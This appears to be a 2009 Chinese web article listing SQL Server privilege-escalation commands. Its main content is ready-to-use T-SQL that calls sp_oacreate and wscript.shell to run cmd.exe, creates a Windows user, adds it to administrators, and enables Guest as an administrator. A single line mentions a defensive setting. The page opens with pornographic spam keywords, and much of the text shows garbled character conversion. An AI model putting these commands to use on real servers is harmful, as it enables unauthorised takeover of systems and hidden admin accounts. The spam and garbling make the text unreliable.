亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

SQL 提權(quán) 常用命令

 更新時(shí)間:2009年07月24日 00:29:34   作者:  
SQL 提權(quán) 常用命令,大家可以考慮下將sqlserver的服務(wù)運(yùn)行權(quán)限設(shè)置為普通用戶(hù),即可防止下面的提權(quán)。
1、連接數(shù)據(jù)庫(kù)
driver={SQL Server};server=服務(wù)器IP;uid=用戶(hù)名;pwd=密碼;database=數(shù)據(jù)庫(kù)名
2、添加新用戶(hù)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶(hù) 密碼 /add'
3、把用戶(hù)加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶(hù) /add'
4、激活GUEST用戶(hù)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關(guān)于防范方法,可以參考腳本之家服務(wù)器安全設(shè)置欄目。

相關(guān)文章

最新評(píng)論